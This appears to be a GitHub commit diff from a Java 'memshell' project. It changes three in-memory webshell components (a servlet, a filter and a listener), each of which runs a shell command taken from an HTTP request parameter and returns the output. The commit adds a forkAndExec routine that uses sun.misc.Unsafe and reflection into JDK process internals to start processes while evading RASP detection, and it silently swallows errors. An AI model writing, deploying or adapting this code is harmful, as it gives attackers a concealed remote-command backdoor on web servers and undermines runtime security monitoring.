Skip to content

Commit 15ff04b

Browse files
committed
feat: command unsafe bypass RASP
1 parent 527059f commit 15ff04b

File tree

5 files changed

+385
-30
lines changed

5 files changed

+385
-30
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 81 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,14 @@
11
package com.reajason.javaweb.memshell.shelltool.command;
22

3+
import sun.misc.Unsafe;
4+
35
import javax.servlet.*;
46
import javax.servlet.http.HttpServletRequest;
57
import javax.servlet.http.HttpServletResponse;
68
import java.io.IOException;
79
import java.io.InputStream;
10+
import java.lang.reflect.Field;
11+
import java.lang.reflect.Method;
812

913
/**
1014
* @author ReaJason
@@ -27,20 +31,88 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
2731
HttpServletRequest servletRequest = (HttpServletRequest) request;
2832
HttpServletResponse servletResponse = (HttpServletResponse) response;
2933
String cmd = getParam(servletRequest.getParameter(paramName));
30-
if (cmd != null) {
31-
Process exec = Runtime.getRuntime().exec(cmd);
32-
InputStream inputStream = exec.getInputStream();
33-
ServletOutputStream outputStream = servletResponse.getOutputStream();
34-
byte[] buf = new byte[8192];
35-
int length;
36-
while ((length = inputStream.read(buf)) != -1) {
37-
outputStream.write(buf, 0, length);
34+
try {
35+
if (cmd != null) {
36+
InputStream inputStream = forkAndExec(cmd);
37+
ServletOutputStream outputStream = servletResponse.getOutputStream();
38+
byte[] buf = new byte[8192];
39+
int length;
40+
while ((length = inputStream.read(buf)) != -1) {
41+
outputStream.write(buf, 0, length);
42+
}
43+
return;
3844
}
39-
return;
45+
} catch (Exception ignored) {
4046
}
4147
chain.doFilter(servletRequest, servletResponse);
4248
}
4349

50+
@SuppressWarnings("all")
51+
public static InputStream forkAndExec(String cmd) throws Exception {
52+
String[] strs = cmd.split("\\s+");
53+
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
54+
theUnsafeField.setAccessible(true);
55+
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
56+
57+
Class<?> processClass = null;
58+
59+
try {
60+
processClass = Class.forName("java.lang.UNIXProcess");
61+
} catch (ClassNotFoundException e) {
62+
processClass = Class.forName("java.lang.ProcessImpl");
63+
}
64+
65+
Object processObject = unsafe.allocateInstance(processClass);
66+
67+
byte[][] args = new byte[strs.length - 1][];
68+
int size = args.length;
69+
70+
for (int i = 0; i < args.length; i++) {
71+
args[i] = strs[i + 1].getBytes();
72+
size += args[i].length;
73+
}
74+
75+
byte[] argBlock = new byte[size];
76+
int i = 0;
77+
78+
for (byte[] arg : args) {
79+
System.arraycopy(arg, 0, argBlock, i, arg.length);
80+
i += arg.length + 1;
81+
}
82+
83+
int[] envc = new int[1];
84+
int[] std_fds = new int[]{-1, -1, -1};
85+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
86+
Field helperpathField = processClass.getDeclaredField("helperpath");
87+
launchMechanismField.setAccessible(true);
88+
helperpathField.setAccessible(true);
89+
Object launchMechanismObject = launchMechanismField.get(processObject);
90+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
91+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
92+
93+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
94+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
95+
forkMethod.setAccessible(true);
96+
97+
byte[] bytes = strs[0].getBytes();
98+
byte[] result = new byte[bytes.length + 1];
99+
System.arraycopy(bytes, 0,
100+
result, 0,
101+
bytes.length);
102+
result[result.length - 1] = (byte) 0;
103+
104+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
105+
null, envc[0], null, std_fds, false);
106+
107+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
108+
initStreamsMethod.setAccessible(true);
109+
initStreamsMethod.invoke(processObject, std_fds);
110+
111+
Method getInputStreamMethod = processClass.getMethod("getInputStream");
112+
getInputStreamMethod.setAccessible(true);
113+
return (InputStream) getInputStreamMethod.invoke(processObject);
114+
}
115+
44116
@Override
45117
public void destroy() {
46118

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 71 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,15 @@
11
package com.reajason.javaweb.memshell.shelltool.command;
22

3+
import sun.misc.Unsafe;
4+
35
import javax.servlet.ServletOutputStream;
46
import javax.servlet.ServletRequestEvent;
57
import javax.servlet.ServletRequestListener;
68
import javax.servlet.http.HttpServletRequest;
79
import javax.servlet.http.HttpServletResponse;
810
import java.io.InputStream;
11+
import java.lang.reflect.Field;
12+
import java.lang.reflect.Method;
913

1014
/**
1115
* @author ReaJason
@@ -32,8 +36,7 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
3236
String cmd = getParam(request.getParameter(paramName));
3337
if (cmd != null) {
3438
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
35-
Process exec = Runtime.getRuntime().exec(cmd);
36-
InputStream inputStream = exec.getInputStream();
39+
InputStream inputStream = forkAndExec(cmd);
3740
ServletOutputStream outputStream = servletResponse.getOutputStream();
3841
byte[] buf = new byte[8192];
3942
int length;
@@ -45,6 +48,72 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
4548
}
4649
}
4750

51+
@SuppressWarnings("all")
52+
public static InputStream forkAndExec(String cmd) throws Exception {
53+
String[] strs = cmd.split("\\s+");
54+
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
55+
theUnsafeField.setAccessible(true);
56+
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
57+
58+
Class<?> processClass = null;
59+
60+
try {
61+
processClass = Class.forName("java.lang.UNIXProcess");
62+
} catch (ClassNotFoundException e) {
63+
processClass = Class.forName("java.lang.ProcessImpl");
64+
}
65+
66+
Object processObject = unsafe.allocateInstance(processClass);
67+
68+
byte[][] args = new byte[strs.length - 1][];
69+
int size = args.length;
70+
71+
for (int i = 0; i < args.length; i++) {
72+
args[i] = strs[i + 1].getBytes();
73+
size += args[i].length;
74+
}
75+
76+
byte[] argBlock = new byte[size];
77+
int i = 0;
78+
79+
for (byte[] arg : args) {
80+
System.arraycopy(arg, 0, argBlock, i, arg.length);
81+
i += arg.length + 1;
82+
}
83+
84+
int[] envc = new int[1];
85+
int[] std_fds = new int[]{-1, -1, -1};
86+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
87+
Field helperpathField = processClass.getDeclaredField("helperpath");
88+
launchMechanismField.setAccessible(true);
89+
helperpathField.setAccessible(true);
90+
Object launchMechanismObject = launchMechanismField.get(processObject);
91+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
92+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
93+
94+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
95+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
96+
forkMethod.setAccessible(true);
97+
98+
byte[] bytes = strs[0].getBytes();
99+
byte[] result = new byte[bytes.length + 1];
100+
System.arraycopy(bytes, 0,
101+
result, 0,
102+
bytes.length);
103+
result[result.length - 1] = (byte) 0;
104+
105+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
106+
null, envc[0], null, std_fds, false);
107+
108+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
109+
initStreamsMethod.setAccessible(true);
110+
initStreamsMethod.invoke(processObject, std_fds);
111+
112+
Method getInputStreamMethod = processClass.getMethod("getInputStream");
113+
getInputStreamMethod.setAccessible(true);
114+
return (InputStream) getInputStreamMethod.invoke(processObject);
115+
}
116+
48117
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
49118
return null;
50119
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 81 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,16 @@
11
package com.reajason.javaweb.memshell.shelltool.command;
22

3+
import sun.misc.Unsafe;
4+
35
import javax.servlet.ServletException;
46
import javax.servlet.ServletOutputStream;
57
import javax.servlet.http.HttpServlet;
68
import javax.servlet.http.HttpServletRequest;
79
import javax.servlet.http.HttpServletResponse;
810
import java.io.IOException;
911
import java.io.InputStream;
12+
import java.lang.reflect.Field;
13+
import java.lang.reflect.Method;
1014

1115
/**
1216
* @author ReaJason
@@ -27,15 +31,84 @@ public String getParam(String param) {
2731
@Override
2832
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
2933
String cmd = getParam(request.getParameter(paramName));
30-
if (cmd != null) {
31-
Process exec = Runtime.getRuntime().exec(cmd);
32-
InputStream inputStream = exec.getInputStream();
33-
ServletOutputStream outputStream = response.getOutputStream();
34-
byte[] buf = new byte[8192];
35-
int length;
36-
while ((length = inputStream.read(buf)) != -1) {
37-
outputStream.write(buf, 0, length);
34+
try {
35+
if (cmd != null) {
36+
InputStream inputStream = forkAndExec(cmd);
37+
ServletOutputStream outputStream = response.getOutputStream();
38+
byte[] buf = new byte[8192];
39+
int length;
40+
while ((length = inputStream.read(buf)) != -1) {
41+
outputStream.write(buf, 0, length);
42+
}
3843
}
44+
} catch (Exception ignored) {
45+
46+
}
47+
}
48+
49+
@SuppressWarnings("all")
50+
public static InputStream forkAndExec(String cmd) throws Exception {
51+
String[] strs = cmd.split("\\s+");
52+
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
53+
theUnsafeField.setAccessible(true);
54+
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
55+
56+
Class<?> processClass = null;
57+
58+
try {
59+
processClass = Class.forName("java.lang.UNIXProcess");
60+
} catch (ClassNotFoundException e) {
61+
processClass = Class.forName("java.lang.ProcessImpl");
62+
}
63+
64+
Object processObject = unsafe.allocateInstance(processClass);
65+
66+
byte[][] args = new byte[strs.length - 1][];
67+
int size = args.length;
68+
69+
for (int i = 0; i < args.length; i++) {
70+
args[i] = strs[i + 1].getBytes();
71+
size += args[i].length;
3972
}
73+
74+
byte[] argBlock = new byte[size];
75+
int i = 0;
76+
77+
for (byte[] arg : args) {
78+
System.arraycopy(arg, 0, argBlock, i, arg.length);
79+
i += arg.length + 1;
80+
}
81+
82+
int[] envc = new int[1];
83+
int[] std_fds = new int[]{-1, -1, -1};
84+
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
85+
Field helperpathField = processClass.getDeclaredField("helperpath");
86+
launchMechanismField.setAccessible(true);
87+
helperpathField.setAccessible(true);
88+
Object launchMechanismObject = launchMechanismField.get(processObject);
89+
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
90+
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
91+
92+
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
93+
byte[].class, int.class, byte[].class, int[].class, boolean.class);
94+
forkMethod.setAccessible(true);
95+
96+
byte[] bytes = strs[0].getBytes();
97+
byte[] result = new byte[bytes.length + 1];
98+
System.arraycopy(bytes, 0,
99+
result, 0,
100+
bytes.length);
101+
result[result.length - 1] = (byte) 0;
102+
103+
forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
104+
null, envc[0], null, std_fds, false);
105+
106+
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
107+
initStreamsMethod.setAccessible(true);
108+
initStreamsMethod.invoke(processObject, std_fds);
109+
110+
Method getInputStreamMethod = processClass.getMethod("getInputStream");
111+
getInputStreamMethod.setAccessible(true);
112+
return (InputStream) getInputStreamMethod.invoke(processObject);
40113
}
41114
}

0 commit comments

Comments
 (0)